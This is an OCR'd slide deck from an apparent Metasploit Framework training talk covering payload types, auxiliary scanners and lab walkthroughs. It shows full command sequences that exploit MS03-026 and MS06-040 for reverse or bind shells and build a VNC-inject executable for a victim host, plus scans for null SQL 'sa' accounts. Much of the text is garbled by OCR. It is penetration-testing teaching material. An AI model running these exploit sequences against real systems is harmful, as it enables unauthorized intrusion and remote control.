= cCg@segrault: ~/awnl/msf3 ===

File Edit View Terminal Tabs

cg@segfault:~/evil/msT3% ./msfconsole
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[ msf w3.1l-dev

[ 213 exploits - 187 payloads
17 encoders - 5 nops

[ 39 aux
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Talk about the Metasploit Framework
http://framework.metasploit.com/



http://framework.metasploit.com/

Metasploit Framework Background

Framework Interfaces
Exploit Types

Payload Types
Auxiliary Modules
Examples



Who wrote t?

Version 1:

Version 2:
Version 3:

D Moore
D Moore, spoonm, skape

D Moore, spoonm, skape as core

developers; contributions from many others



What Is 1t?

“The Metasploit Framework is a development
platform for creating security tools and exploits.
The framework is used by network security
professionals to perform penetration tests, system
administrators to verify patch installations,
product vendors to perform regression testing,
and security researchers world-wide.”



What does it do?

“The Metasploit Framework consists of tools,
Ibraries, modules, and user interfaces. The
pasic function of the framework is a module
auncher, allowing the user to configure an
exploit module and launch it at a target
system. If the exploit succeeds, the payload
IS executed on the target and the user is

provided with a shell to interact with the
payload.”




So what can | do with it?

Provides security testers with:

Tons of reliable exploits for penetration
testing

Ability to change payloads at run time
Tools to create reliable exploits (exploit-dev)
Lots of fun other tools (auxiliary modules)

Open source, build your own tools to suit your
needs



3.0 written in Ruby, 2.x Perl
Runs on Linux, Mac OS X, BSD, Win32

Dependencies pretty easy to install on *nix
platforms (apt-get, rom, emerge, port)

Windows version comes with handy installer

Only get web interface; msfconsole and msfcli
only in the web “instance” of metasploit

Also runs with Cygwin

You're on your own to get the appropriate
packages installed but get the “nix-like
environment



User Supplied
Options

Exploit Target

Values

Metasploit

Exploit Preamble

Shellcode
Library

Payload Handler

-

Create Payload

]

Launch Attack

Encoders

Get Connection

Adapted from Shah, HITB 2006, writing MSF plugins



msfgul

msfweb
msfconsole
msfcli
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msiguiiva. T=dev

==

Systermn Opcodes Window About

| l %Qancell

E';;‘Eind

b F Exploits (213)
B L suxiliary (39)

Information ||_Qgs |

[®]

Type : auxiliary

Author : hdm <shdm@metasploit.com=>
Path :

External Reference :

Description :Display version information about each system

Loaded 213 exploits, 107 payloads, 17 encoders, 5 nops. and 39 auxiliary

Jobs
lob 1D Module
b A LtoPWN
L] one shot

Sessions

Target | Type



a3 Metasploil Eramework Web Console d. d=dev =MozZilla"Eiretox:

Eile Edit Wiew History Bookmarks Tocols Help

=l 5 T 3 =1_| T
@& - - @ (g1 | nttp:/127.0.0.1:55555/ v | ¢ | |[G]7|ruby-gtk apt-get
# The Metasploit Framewaork [| Metasploit Framework ... [ b
‘@ Exploits 4 Auxiliaries @ Payloads - Console [ Sessions _" Options & About

Metasploit Console (0)

Done



CO@segrauitzs=yevii/msT.3
Terminal Tabs
cg@segfault:~/evil/msf3% ./msfconsole
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[ msf w3.l-dev

[ 213 exploits - 107 payloads
[ 17 encoders - 5 nops

[ 39 aux




msf > use exploit/windowssmb/ms06 040 netapi
msf exploit(ms06 040 netapi) > set RHOST 192.168.170.129
RHOST => 192.168.170.129

msf exploit(ms06 040 netapi) > set SMBPIPE SRVSVC
SMBPIPE => SRVSVC

msf exploit(ms06 040 netapi) > set TARGET 0O
TARGET => 0

msf exploit(ms06 040 netapi) > set PAYLOAD
windows/meterpreter/bind _tcp

PAYLOAD => windows/meterpreter/bind_tcp

msf exploit(ms06 040 netapi) > exploit



A=Y e mSTS
File Edit Terminal Tabs

cg@segfault:~/evil/msft3% ./msfcli -h
Error: Invalid module: -h

You're looking at it baby!
(S)ummary Show information about this module
(D)ptions Show available options for this module
(A)dvanced Show available advanced options for this module
(I)DS Evasion 5Show available ids evasion options for this module
(Pyayloads Show avallable payloads for this module
(Tyargets Show avallable targets for this exploit module
(AC)tions Show avallable actions for this auxiliary module
(Ciheck Run the check routine of the selected module
(Elxecute Execute the selected module

cg@529fault:=£evilfm5f35|D




Jmsfcli apache chunked win32
PAYLOAD=wIn32 reverse
LHOST=192.168.2.1 LPORT=9999
RHOST=192.168.2.2 E



Exploit Types

Pretty much any protocol
UDP, TCP, SMB, HTTP, FTP, SMTP, TFTP, SSH, etc
Active, Passive, Brute-Force

Remote, Local, User-Interaction (technically
remote category)

Remote: windows/dcerpc/ms03 026 dcom
Local: no real local examples, but doable

User-Interaction--All your browser, “have to click
on something,” type exploits

windows/browser/ms06 013 createtextrange



Definition

Arbitrary code that is to be executed upon
successful exploitation

How a payload works

Client prepares the payload for execution

Data may be embedded (cmd to execute,
hostname, port, etc)

Client transmits the payload via an exploit
Target executes the payload



msf> show payloads

BSD (SPARC/x86)
Linux

Solaris (Sparc/x86)
OS X (PPC/x86)
Windows

Unix

PHP



Inline (Single), Stager, & Stage

Single [shell reverse_tcp = inline (single)]
A self-contained payload that performs a specific task
Size varies depending on the task
Example: Reverse or bind command shell

Stager [shell/reverse _tcp = stager]

A stub payload that loads / bootstraps a stage
Size generally much smaller than single payloads
Passes connection information onto the stage
Stage
Similar to a single payload, but takes advantage of staging
Uses connection passed from the stager
Not subject to size limitations of individual vulnerabilities

A stager can also be a stage



Generic Shell Payloads: Windows

bind TCP (stager and adduser
inline) .
dllinject

reverse TCP (stager and download_exec

inline)
find tag (stager and exec
inline) meterpreter
find port (inline) shell
reverse _ord (Windows upload_exec
only) vncinject
*nix PHP
adduser bind via perl or php
exec

reverse via perl or php
shell



Bind Shell: setup a socket, bind it to a specific
port and listen for connection. Upon accepting a
connection spawn a shell. Victim has to allow
Incoming connections on selected port.

Reverse Shell: instead of binding to a port waiting
for connection, the shellcode simply connect to a
predefined IP and port number and spawn a shell.

Find Tag: find socket style payloads that search
for a socket based on the presence of a tag on the
wire.

Find _Port: payloads that search for a socket by
comparing peer port names relative to the target
machine.



Ordinal Payloads: Uses static ordinals in

WS2 32.DLL to locate symbol addresses. Leads to
very tiny win32 stagers (92 byte reverse, 93 byte
findsock)

Reverse Http: called PassiveX payloads in 2.x.
Tunnel communication over HTTP using IE 6.
Payload modifies registry and launches IE, |IE loads
custom ActiveX control to stage the payload, Uses
standard IE proxy and authorization settings, Can
be used to inject VNC, Meterpreter, custom dlls.

Adduser: Executes the net user x x /add & net
localgroup administrators x /add

Downloadexec: Download a .exe from a URL and
execute it



Uploadexec: uploads a .exe from local computer
and executes

Exec: execute a command of your choice

Dllinject: injects a custom dll (you'll have to supply
the dll)

VNCinject: injects a custom VNC server dll into
memory

Meterpreter: the super payload, custom dll
Injected into memory (more on Day?2); tons of post-
exploitation tools



Anything not an “exploit”

Discovery and fingerprinting

sweep_udp, smb/version, scanners, dcerpc,
http version, http put

Network protocol “fuzzers”
Wireless fun
Denial of service methods
Exploits that don't have payloads
Administrative access exploits



Sweep udp

[ msf v3.1l-dev

[ 218 exploits - 1087 payloads
17 encoders - 5 nops

[ 41 aux

[ > use auxiliary/scanner/discovery/sweep udp
sT auxiliary(sweep udp) > set RHOSTS 192.168.170.0/24
RHOS5TS => 192.168.170.08/24
sT auxiliary(sweep udp) = run

[*] Sending 6 probes to 192.168.170.0->192.168.170.255 (256 hosts)
[*] Discovered NetBIOS on ::ffff:192.168.170.128 (adl28400000000010000000020434b
1414141414141414141414141414141414141414141414141414141414100002100010000000000
hT08494eb65747e536572766963657320201c840049537e56494354494d2d57324b00000RO4005649
354494d2d57324b20202020200004005741524b475241555020202020202000840056494354494d
2d57324b20202020202004005747524b47524155502020202020201=84005741524b475241555020
20202020201d04000106257574d53425247575345575702018400000c2945ab0b0000OROCOOOOOG0O0
E0E000ROBEOEOOREBEOBOOREER0B0OBEEE0E0000E0000000000000CR0B00EEOBEEE0EGOBROBOO0O
elefelelelelelelelefeleletelelelelelelc ) —
[*] Discovered NetBIOS on ::ffff:192.168.170.129 (744c2400000000010000000020434b 8
141414141414141414141414141414141414141414141414141414141410000210001000000000 0 ==
2 TO0000Cc29b1cchbablioEooROB0EB0000000000000000000000000000000000000B0CB0BGOBRER0G
00000000 0R0E0REECcE346781608CcH98100000000000000000000000000000REEEREEEREEEROOAA
slleleelelellelelelelee e leelelele[efele el el lele e el el [efe e e el Tete e e e TeT R As i TR e e Te e [e e [e el el Te e [efe e e e TeTe Tee) |




Sweep udp

41414141414141414141414141414141414141414141414141414141414100002100010000000000 &
ad075850535031564d20202020202020200004004d534844d452020202020202020200084005850 B
535031564d20202020202020200304005850535031564d20202020202020202004004d5348474d45
2020202020202020201=84004d5348474d452020202020202020201d0400010257574d5342524757
53455T5T02018400000c29d5c2bTOOOEAEOEE0EREAEAE0EEREREAEAEOEEREREAEAEOEEREREEAEAEOE
0000000000000000LERO00ORERE0OEEEREEER000EEE00000RER33003000000000)

[*] Discovered Portmap on ::ffff:192.168.170.1 (fdld7303000600010000000000000000
000000000000RO0EENE00EA10001862000000002000000060000006TEERER0010001862000000002
000060116600006TOAOOOEA1AG0186DEAAEAOEA1AEAOE01100ECEEAEAE0E0001008186bEABAOAEOA]L
000000060000917d0ROOORBA )

[#] Discovered 5QL Server on ::ffff:192.168.170.129 (tcp=1433 np=\\XP5P1VM\pipe\
sqlhquery Version=8.00.194 ServerName=XP5P1VM IsClustered=No InstanceName=M55(QL5
ERVER )

[*] Discovered 5QL Server on ::ffff:192.168.170.129 (tcp=1433 np=\\XPS5P1VM\pipe\
sqlhquery Version=8.00.194 ServerName=XP5P1VM IsClustered=No InstanceName=MS55(QL5S
ERVER )

[*] Discovered 50QL Server on ::Tfff:
pe\sqliquery Version=8.00. lﬂﬂ Server
MSSQLSERVER )

[*] Discovered S5QL Server on ::ffff:192.168.170.132 (tcp=1433 np=\\XP5P1VM\pipe\

192.168.170.128 (tcp=1433 np=\\VICTIM-W2K\pil
rName=VICTIM-W2K IsClustered=No InstanceMame=

sqlhquery Version=8.00.194 ServerName=XP5P1VM IsClustered=No InstanceName=M550LSga

ERVER )
[*] Auxiliary module execution completed
msT auxiliary(sweep_udp) =




smb_version

[*] Sending & probes to 192.168.170.8->192.168.170.255 (256 hosts)

[#] Discovered DNS on ::ffff:192.168.170.130 (Microsoft)

[*] Discovered NetBIOS on ::ffff:192.168.170.128 (4bf58400000000010060000020434b
414141414141414141414141414141414141414141414141414141414141000021008100000000008
d18956494354494d2d57324b202020202000040056494354494d2d57324b2020202020200400574°T
524b47524T5550202020202020008400574F524b47524155502020202020201.8400564943544%94d
2d57324b20202020200304005747524b47524755502020202020201d0400010825F5T4d5342524F57
53455T5T02018400494e65747e536572766963657320201c840049537e56494354494d2d57324b00
BEAEE400000Cc2945ab0DAAAAAAOEAAAAAAAAAARAOEAARAAEAEEARAAOOAAAAAAAAAAAAAEAARAAAGAAAA
BAAAEO00AAAEOAEAAAEAE0AAAA3304000000ARACOO0AAAAEAAR9A0AE)

[¥] Discovered NetBIOS on ::ffff:192.168.170.130 (176388400000000010000000020434b
414141414141414141414141414141414141414141414141414141414141000021006810000000000
ad07564d57494e53455256303344432020000400564d57494e534552563033444320202004004c53
4f4347T525020202020202020200084004¢c53414341525020202020202020201c84004c5341434F52
5020202020202020201284004c5347434T525020202020202020201d0400010825T5T4d5342524T157
53455T5T02018400000c298p672400000000000000ARR0A00ARAAOO0AAARAAAAAAAAAEAARAAE0LAAE
0AAAE000AAAE0AEAAAEA0EAAAA0OAA350038A07dO00AAAAEAAOEAAAEAAEARAAAAT)

[#] Discovered NetBIOS on ::ffff:192.168.170.132 (4c0Z23400000000010000000020434b
414141414141414141414141414141414141414141414141414141414141000021006810000000000
bfe85850535031564d20202020202020200004004d5348474d452020202020202020200084005850
535031564d20202020202020200304005850535031564d20202020202020202004004d5348474d45 88
2020202020202020201=84004d5348474d452020202020202020201d0400010825F5T4d5342524T57
53455T5T02018400564d57415245585020202020202020030400000c29d5c2bTO000000000000000
EHHHHHHHHEHHEHHHHHBHHEHHHHHBHHEHBHEHHHBEHBHEHHHHEHBHHHHHHEHBHHHHHHEHBHHHHHHEHBHHfﬁ




smb_version

msf > use auxiliary/scanner/smb/version

msT auxiliary(version) > set RHOS5TS 192.168.

RHOSTS == 192.168.170.128

msT auxiliary(version) > run

[*¥] 192.168.170.128 1is running Windows 2000
[*¥] Auxiliary module execution completed

msT auxiliary(version) > set RHOS5TS 192.168.

RHOS5TS == 192.168.170.130

msT auxiliary(version) > run

[*¥] 192.168.170.130 is running Windows 2003
[*¥] Auxiliary module execution completed

msT auxiliary(wversion) > set RHOSTS 192.168.

RHOSTS == 192.168.1708.131

msT auxiliary(version) > run

[*] Error: Login Failed: The server refused
[*] Auxiliary module execution completed

mst auxiliary(version) > set RHOSTS 192.168.

RHOS5TS => 192.168.1708.132
msT auxiliary(version) > run

170.128

Service Pack @ - Service Pack 4

178.1308

Mo Service Pack

178.131

our NetBIOS session request

178.132

[*] 192.168.178.132 is running Windows XP Service Pack 8 / Service Pack 1

[*] Auxiliary module execution completed
msT auxiliary(version) b|D




mssqgl ping

0E000AEAEAEAEAEAAEAAEAEAEAAEAEAEAEAEAAEAEAEAEAEAEAEAEAEAEAEAEAEAEAEAEAEAEAEAAEAEAEAEAEAEAEAEAEAAA0 K
00000AE0EAE0100A40000000000D4E8dEDE1D48dEDE10A)

[*] Discovered MetBIOS on ::ffff:192.168.170.130 (lcad8400000000010000000020434b
41414141414141414141414141414141414141414141414141414141414100602100010000000000
adB07564d57494e53455256303344432020000400564d57494e534552563033444320202004004c53
414341525020202020202020200084004c5347T4341525020202020202020201c84004c534T434152
5020202020202020201e84004c53474347525020202020202020201d040001082575T4d5342524 157
5345575T02018400000c298b672400000000000000000000ECA0RAERAERAERAEAEAERAERAERAERREA
0000000000000 E0E00E0AE00EAEATI005cO0430032000000000000008022a9)

[#] Discovered Portmap on ::ffff:192.168.170.1 (57c27e43000000010000000000000000
geegeeeeeeEREEREERERERERE1000180a000BR0ERZ20000000CE000B0E6TEORREEE1E001862000000002
geegeellooeRoeeTEOORRER10001860E00EROER1000ERE110000E00000000BG1000186DE0REORBEO]L
0000000600091 7dEOEAEOAEAN)

[*] Discovered SQL Server on ::ffff:192.168.170.128 (tcp=1433 np=\\VICTIM-W2ZK\pi
pehvsqlhgquery Version=8.00.194 ServerName=VICTIM-WZK IsClustered=No InstanceName=
M550QLSERVER )

[#] Discovered 50L Server on ::ffff:192.168.170.129 (tcp=1433 np=\\XPSP1VM\pipe\
sqlhgquery Version=8.00.194 ServerName=XP5P1VM IsClustered=No InstanceName=MS50QL5
ERVER )

[*] Discovered SQL Server on ::ffff:192.168.170.132 (tcp=1433 np=\\XPSP1VM\pipe\
sqlhguery Version=8.00.194 ServerName=XP5P1VM IsClustered=No InstanceName=MS50L5
ERVER )

[*] Auxiliary module execution completed

msT auxiliary(sweep udp) = I




mssqgl ping

msf = use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(mssql ping) > set RHOS5TS 192.168.170.128
RHOS5TS == 192.168.170.128
msT auxiliary(mssql ping) = run
[*] 5QL 5erver informationm for 192.168.170.128:
x tcp = 1433
* np SMAWVICTIM-W2KApipehsgliguery
* Version 8.00.194
ServerName VICTIM-W2K
- IsClustered No
* InstanceMName MSSQLSERVER
[*] Auxiliary module execution completed
msT auxiliary(mssql ping) > set RHOS5TS 192.168.170.129
RHO5TS == 192.168.170.129
msT auxiliary(mssql ping) = run
[*] 5QL S5erver information for 192.168.170.129:
tcp 1433
np WVAXPSP1IVM\ pipelsqgliquery
Version g8.00.194
ServerName XPSP1VM
IsClustered No
InstanceName MSSQLSERVER
Auxiliary module execution completed
auxiliary(mssql_ping) > ||

*
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]
]
]
]
]
]
]
£




mssql_login

msT > use auxiliary/scanner/mssql/mssql login

msT auxiliary(mssql login) > set RHOSTS 192.168.170.128
RHOSTS => 192.168.170.128

msT auxiliary(mssql login) > run

[#*] Target 192.168.170.128 DOES have a null sa account!
[*] Auxiliary module execution completed

msT auxiliary(mssql login) > set RHOSTS 192.168.176.129
RHOSTS => 192.168.170.129

msT auxiliary(mssql_login) = run

[#*] Target 192.168.1708.129 DOE5 have a null sa account!
[*] Auxiliary module execution completed

msT auxiliary(mssql login) > set RHOS5TS 192.168.1/0.132
RHOSTS == 192.168.170.132

msT auxiliary(mssql login) > run

[*] Target 192.168.170.132 DOES have a null sa account!
[*] Auxiliary module execution completed

msT auxiliary(mssql login) :|D




CO@segrauitzs=yevii/msT.3
Terminal Tabs
cg@segfault:~/evil/msf3% ./msfconsole
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[ msf w3.l-dev

[ 213 exploits - 107 payloads
[ 17 encoders - 5 nops

[ 39 aux




Msfconsole is your “bread and butter”

Powerful and fast

Allows you to also use system command
from within the msf shell ie ping, nmap

Allows you to easily list available exploits,
payloads, configure global options

Decent help menu (but you need to know
what you are doing )

Tab completion



=102

[= 1 Cg@segrault=yeunlimst3

File Edit Wiew Terminal Tabs Help

banner
cd
exit
help
info
irb
jobs

Load
loadpath
guit
route

save
sessions
set

setg
show
sleep
unload
unset
unsetg
use
version

Description

Help menu

Move back from the current context

Display an awesome metasploit banner

Change the current working directory

Exit the console

Help menu

Displays information about one or more module
Drop into irb scripting mode

Displays and manages jobs

Load a framework plugin

Searches for and loads modules from a path
Exit the console

Route traffic through a session

Saves the active datastores

Dump session listings and display information about sessions
Sets a variable to a value

Sets a global wvariable to a wvalue

Displays modules of a given type, or all modules
Do nothing for the specified number of seconds
Unload a framework plugin

Unsets one or more variables

Unsets one or more global wvariables

Selects a module by name

Show the console library version number




Cg@segraults=yevifmsts3.

bsdi/softcart/mercantec_softcart
hpux/lpd/cleanup exec
irix/lpd/tagprinter_exec
linux/games/ut2004 secure
linux/http/peercast_url
linux/ids/snortbopre

linux/madwifi/madwifi giwscan_cb

Description

Mercantec SoftCart CGI Overflow

HP-UX LPD Command Execution

Irix LPD tagprinter Command Execution

Unreal Tournament 20084 "secure" Overflow (Linux)
PeerCast == 0.1216 URL Handling Buffer Overflow (Linux)
Snort Back Orifice Pre-Preprocessor Remote Exploit

Madwifi SIOCGIWSCAN Buffer Overflow




msf > use exploit/windows/

Display all 169 possibilities? (y or n)

use exploit/windows/antivirus/symantec_ rtwvscan

use exploit/windows/antivirus/trendmicro serverprotect

use exploit/windows/antivirus/trendmicro_serverprotect createbinding
use exploit/windows/antivirus/trendmicro_serverprotect_earthagent
use exploit/windows/arkeia/type77

use exploit/windows/backupexec/name service

use exploit/windows/backupexec/remote agent

use exploit/windows/brightstor/discovery tcp

use exploit/windows/brightstor/discovery udp

use exploit/windows/brightstor/lgserver

use exploit/windows/brightstor/mediasrv_sunrpc

use exploit/windows/brightstor/message engine

use exploit/windows/brightstor/message engine heap

use exploit/windows/brightstor/sql agent

use exploit/windows/brightstor/tape_engine

use exploit/windows/brightstor/universal_agent

use exploit/windows/browser/aim_goaway




Frovided by:
hdm <=hdm@gmetasploit.com=
Spoonm =spoonm@noSemail.com=
cazz =bmc@shmoo.com:

Available targets:
Id MName

] Windows NT SP3-62/2000/xP/2003 Universal

Basic options:
Name Current Setting Required Description
RHOST The target address
RPORT 135 The target port

Payload information:
Space: 880
Avoid: 7 characters

Description:
This module exploits a stack overflow im the RPCS5 service, this
vulnerability was originally Tound by the Last 5tage of Delirium
research group and has bee widely exploited ever since. This module
can exploit the English wversions of Windows NT 4.0 5P3-6a, Windows
2008, Windows XP, and Windows 208832 all in one reguest :@)

References:
http: //www.osvdb.org/2100
http://wew.microsoft.com/technet/security/bulletin/M583-026.ms5px
http://www.securityfocus.com/bid/8205
http://cve.mitre.org/cgi-bin/cvename.cgi?name=20083-0352




msf > use exploit/windows/dcerpc/ms83 0826 dcom
msf exploit(ms®3 026 dcom) = set RHOST 192.168.170.128
RHOST => 192.168.170.128

msT exploit(ms@3 026 dcom) = |




mst > use exploit/windows/dcerpc/ms@3 026 dcom

msT exploit(ms@3 026 dcom) > set RHOST 192.168.170.128

RHOST => 192.168.170.128

msT exploit(msB83 026 dcom) > set PAYLOAD windows/shell/reverse_ tcp
PAYLOAD => windows/shell/reverse tcp

mst exploit(msB3 026 dcom) > [




msf > use exploit/windows/dcerpc/ms@3 026 dcom

msT exploit(ms@3 026 dcom) > set RHOST 192.168.170.128

RHOST => 192.168.170.128

msT exploit(ms03 026 dcom) > set PAYLOAD windows/shell/reverse tcp
PAYLOAD => windows/shell/reverse_tcp

msT exploit(ms@3_ 026 _dcom) > show options

Module options:

Name Current 5etting Required Description

RHOST 192.168.170.128 vyes The target address
RPORT 135 yes The target port

Payload options:

Name Current 5etting Required Description

EXITFUNC thread Exit technique: seh, thread, process
LHOST The local address

LPORT 4444 The local port




mst exploit(ms@3 826 dcom) > set LHOST 192.168.170.1
LHOST => 192.168.170.1
mst exploit(ms@3 026 dcom) > show advanced

Module advanced options:

Name : CHOST
Current Setting:
Description : The local client address

Name : CPORT
Current Setting:
Description : The local client port

Name : ConnectTimeout
Current 5Setting: 10
Description : Maximum number of seconds to establish a TCP connection

Name : ContextInformationFile
Current Setting:
Description : The information file that contains context information

Name : EnableContextEncoding
Current Setting:




Name
Current Setting:
Description

Name
Current Setting:
Description

Name
Current Setting:
Description

MName
Current Setting:
Description

Name

Current 5Setting:

Description
(accepted:

ETE 4
Current Setting:
Description

Names .
Current Setting:
Description

msf exploit(msB3_026_dcom) > show evasion

Module evasion options:

DCERFC: : Take_bind_multi
True
Use multi-context bind calls

DCERPC: : Take bind multi append
]

Set the number of UUIDs to append the target
DCERPC: : Take bind multi prepend

]

Set the number of UUIDs to prepend before the target
DCERPC: :max_fTrag size

4096
Set the DCERPC packet fragmentation size

DCERPC: :smb_pipeio

rw

Use a different delivery method for accessing named pipes

rw, trans)

TCP::max_ send size

]

Maxiumum tcp segment size. (0 = disable)
TCP::send delay

5]

Delays inserted before every send.

(@ = disable)

For more info check out Thermoptic Camouflage BH 2006 talk
http://metasploit.com/confs/blackhat2006/blackhat2006-thermoptic.pdf




Current 5etting:
Description :: lUse 581

Name : WisDelay
Current Setting: B
Description : Additional delay when waiting for a session

msT exploit(msB83 026 dcom) = exploit

[*] Started reverse handler

[*] Trying target Windows NT SP3-6a/20080/XP/2003 Universal...

[*] Binding to 4d9f4ab8-7dlc-11cT-86le-0020afbe/c57:0.0@ncacn_ip tcp:192.168.170
.128[135]

[*] Bound to 4d9f4abB-7/dlc-1lcf-86le-0020aTbe/c57:0.0@ncacn_ ip tcp:192.168.170.1
28[135]

[*] Sending exploit

[*] Sending stage (474 bytes)

[*] The DCERPC serwvice did not reply to our request

[*] Command shell session 1 opened (192.168.170.1:4444 -> 192.168.170.128:10852)

Microsoft Windows 2080 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32>f]




msfd - msf daemon

setting your msf web to listen to a
“public” IP

msfpayload — creating an .exe you can
run on the victim so you can interact with
msf



| R [« e | e |

[ | cg@segfault: ~/evil/msf3 =[O =]
File Edit V“iew Terminal Tabs Help

cg@segfault:~Sevil/msf3s ./msfd -h

Usage: msfd =options=>

OPTIONS:

-a =opt> Bind to this IP address instead of loopback
-T Run the daemon in the foreground

-h Help banner

-p =opt> Bind to this port instead o

cg@segfault:~/fevil/msf3% ./msfd -f -a 192.168.0.161

[ | cg@segfault: ~ BEERE
File Edit Wiew Terminal Tabs Help
cg@segfault:~% nc 192.168.0.101 55554

#Hi# EiER #Hi# #i#
P A HEREE R R HHR #i# Hi HAHRR
A #E #R O #E #E HE AR #i# #E HiE #it
MR R HERRE R #Hi# #E #Hi# it
i OH O #E MR R O HHRE ## #E ## #i
## HA R SR HAFHR M #it M HAH MR
#it

msT w3.l-dew

213 exploits - 107 payloads
17 encoders - 5 nops

39 aux




Changing the listening interface of msfweb

Jmsfweb -a 192.168.0.100

edit the msfweb file to change the default

host.

cg@segfault:~% cd evil/msf3/
cg@segfault:~/evil/msf3% ./msfweb -a 192.168.0.100

[*] Starting msfweb v3.1l-dev on http://192.168.0.180:55555/

=> Booting WEBrick...

=> Rails application started on http://192.168.0.1080:55555
=> Ctrl-C to shutdown server; call with --help for options

[2807-89-89 15:13:44] INFO WEBrick 1.3.1

[2007-089-089 15:13:44] INFO ruby 1.8.5 (2006-88-25) [1486-1linux]
[2007-89-09 15:13:44] INFO WEBrick::HTTPServer#start: pid=7330 port=55555




= Changing the listening interface of msfweb

-

& Metasploit Erameworic Web Console 3 T=dev = Mozilla EIretox: .
Fite Edit View History Bookmarks Tools Help
o . P | z o - ; —
€ - - & ‘o | nttp://192.168.0.100:55555/ |*| B | |[Gl~|
# The Metasploit Framework | | Metasploit Framework ... [J # Metasploit Framework Maili... # Learn Security Online - Re:c... T
‘@ Exploits ., Auxiliaries @ Payloads - Console [ Sessions ' Options & About

Metasploit Console (D)

167 payloads

3 NOps




Using msfpayload to create an .exe of a payload
to run on a remote host.

Create the executable:

cg@segfault:~/evil/msf3$ ./msfpayload windows/vncinject/bind_tcp
LPORT=7777 X > Bvnc.exe

Created by msfpayload (http://www.metasploit.com).

Payload: windows/vncinject/bind_tcp

Length: 201

Options: LPORT=7777

After you execute it on the remote host run:
cg@segfault:~/evil/msf3$ ./msfcli exploit/multi/handler

PAYLOAD=windows/vncinject/bind_tcp LPORT=7777
RHOST=192.168.170.128 DisableCourtesyShell=TRUE E



cg@segfault:~/evil/msT3% ./msfpayload windows/vncinject/bind tcp LPORT=7777 X =
Bvnc.exe

Created by msfpayload (http://www.metasploit.com).
Payload: windows/vncinject/bind tcp
Length: 2081
Options: LPORT=7777
cg@5&gfault:=£euilfm5f35|D

cg@segfault:~ evil/msT3% ./msfcli exploit/multi/handler PAYLOAD=windows/vncinjec il
t/bind_tcp LPORT=7Y777 RHO5T=192.168.170.128 DisableCourtesyShell=TRUE E
[ Started bind handler
Starting the payload handler...
Transmitting intermediate stager for over-sized stage... (89 bytes)
S5ending stage (2834 bytes)
Sleeping beTore handling stage...
Uploading DLL (348049 bytes)...
Upload completed.
Starting local TCP relay on 127.0.0.1:5980...
Local TCP relay started.
Launched wnciewer in the background.
viewer versionm 3.3.7 - built Mar 8 2007 21:56:52
Copyright (C) 20082-2003 RealVWNC Ltd.
Copyright (C) 1994-2000 AT&T Laboratories Cambridge.
See http://www.realvnc.com for information on WNC.
VWNC serwver supports protocol wversion 3.3 (viewer 3.3)
Mo authentication needed
Desktop name "VNCShell [SYSTEM@VICTIM-W2K] - Full Access"®
Connected to VNC server, using protocol version 3.3
VNC server default format:
32 bits per pixel.
Least significant byte Tirst in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 8




e B e

=)

Ll Wing" 5

:d | VNC: VNCShell [SYSTEM@VICTIM-W2K] - Full Access

File Edit “Wiew Host A

Shut Down  Suspend File Edit ‘iew Favorites Tools  Help

‘|ﬁ:}fedora—fc4—i386 J _=] ﬁ ﬂSearch [#] Favorites QHlstory _E_Hv J

MRS Sl

| File E
_| 4= Back
J.ﬂ.ddress I

File search: |—

Address |€| a0/ ext. dllizmfcisapicommand=loadpagefpage=inde:x.htx J > Go

E el o

< T
Uze port: |202 :‘

Hide

Stop

Links *|

LT T
=

File Edit VWiew Terminal

CoEsEgrauiti=yevifimsTs=
Tabs Help
cg@segfault:~/evil/msf3% ./msfcli exploit/multi/handler PAYLOAD
t.-’blru:l tcp LPORT=7777 RHOST=192.168.170.128 DisableCourtesyShel
Started bind handler
Starting the payleoad handler...

windows/vncinjec

when minimized v =TRUE E

| Esit. |

Transmitting intermediate stager for over-sized stage... (89 bytes)

Sending stage (2834 bytes)

ilstart| | ] & 7

Sleeping before handling stage...

Uploading DLL (3 9 bytes)...

Upload completed.

Starting local TCP relay on 127.0.08.1:5900...

Local TCP relay started.

Launched wvnciewer in the background.

viewer version 3.3.7 - built Mar 8 208087
Copyright (C}) 28082-2883 RealVNC Ltd.
Copyright (C) 1994-2800 AT&T Laboratories Cambridge.
See http://www.realvnc.com for information on VNC.

21:56:5

| @BadBlue:the file-sh. .. | 3 BadBlue

VNC serwver supports protocol wversion 3.3 (viewer 3.
No authentication needed
Desktop name "WVNCShell [SYSTEMEVICTIM-W2K]
Connected to VNC server, using protocol
VNC server default format:

32 bits per pixel.

Least signif nt byte first in each p

3)

- Full Access"

version 3.3

Eﬂﬁtartl“ ] & 3 || 4 |Badelus: the file-sh... “ % BadBlue

[AEY E2HE

True colo 16 green 8 blue @




Fun Metasploit Links

Framework List Archives

http://www.metasploit.com/archive/framework/threads.htmi
Metasploit Wiki

http://en.wikibooks.org/wiki/Metasploit
Metasploit Support Page (links to APIs)

http://framework.metasploit.com/msf/support
MSF eXploit Builder by Jerome Athias

https://www.securinfos.info/metasploit/MSF_XB.php


http://www.metasploit.com/archive/framework/threads.html
http://en.wikibooks.org/wiki/Metasploit
http://framework.metasploit.com/msf/support
https://www.securinfos.info/metasploit/MSF_XB.php
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